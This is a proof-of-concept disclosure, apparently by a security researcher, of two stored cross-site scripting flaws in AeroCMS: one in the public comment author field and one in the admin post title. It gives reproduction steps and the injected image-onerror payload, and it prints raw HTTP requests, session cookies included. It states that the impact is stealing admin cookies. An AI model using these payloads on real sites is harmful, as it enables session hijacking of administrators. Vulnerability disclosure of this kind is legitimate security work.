# Author: D4rkP0w4r
* Note => Don't need register or login account
* Description => Stored_XSS at comment box
## # AeroCMS-Comment-Stored_XSS-POC
# Author: D4rkP0w4r
* Note => Don't need register or login account
* Description => Stored_XSS at comment box
## Step to Reproduct
* Click Read More -> input payload <img/src/onerror=prompt(10)> at Author -> click Submit button
# Exploit
* Input payload at Author -> click Submit button
* When admin login to admin panel and click Comments -> The XSS will trigger
* Finally, Success !!!!
# Vulnerable Code
* view_all_comments.php
* Stored xss in comment section
* Impact is to get the cookie and execute the js code in the admin panel
* Because Comments are displayed in admin panel
* post.php
* No encoding is implemented when inserting data to database
# POC
* Injection Point
comment_author=%3Cimg%2Fsrc%2Fonerror%3Dprompt%2810%29%3E&comment_email=bin%40gmail.com&comment_content=hacked&create_comment=
* Request
POST /AeroCMS/post.php?p_id=36 HTTP/1.1
Host: localhost:8080
Content-Length: 126
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/AeroCMS/post.php?p_id=36
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=loqbt1ibs376hge1s415srq441
Connection: close
comment_author=%3Cimg%2Fsrc%2Fonerror%3Dprompt%2810%29%3E&comment_email=bin%40gmail.com&comment_content=hacked&create_comment=
POC VIDEO https://drive.google.com/file/d/1GxOyX1JkG0trfdaCLfe06TR6WLIGoUXE/view?usp=sharing
----
# AeroCMS-Add_Posts-Stored_XSS-Poc
* Description => Stored_XSS at Post Title
## Step to Reproduct
* Login to admin panel -> Posts -> Add Posts -> Post Title -> inject payload <img/src/onerror=prompt(10)> -> The XSS will trigger when clicked Edit Post button
## Vulnerable Code
* add_post.php
When inserting into the database, the input is not filtered out of html characters
* post.php
Even when displaying, the entity cannot be properly encoded
-------------------------------------------------------------
# POC
* Injection Point
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post_title"
<img/src/onerror=prompt(10)>
* Request
POST http://localhost:8080/AeroCMS/admin/posts.php?source=edit_post&p_id=26 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------85448121341942511952219062291
Content-Length: 1101
Origin: http://localhost:8080
Connection: keep-alive
Referer: http://localhost:8080/AeroCMS/admin/posts.php?source=edit_post&p_id=26
Cookie: Phpstorm-6b6ba5ee=79a50460-3b02-4cde-a5a4-ff6883c16a7b; PHPSESSID=ndh6ks953tmha1ps8cfp4bplf2
Upgrade-Insecure-Requests: 1
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post_title"
<img/src/onerror=prompt(10)>
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post_category_id"
1
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post_user"
admin
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post_status"
published
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post_tags"
1
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="post_content"
<p>111</p>
-----------------------------85448121341942511952219062291
Content-Disposition: form-data; name="update_post"
Edit Post
-----------------------------85448121341942511952219062291--
POC VIDEO
https://drive.google.com/file/d/1kMGPBLKgefvKZj34QxDlPTxXdcT0kRR_/view?usp=sharing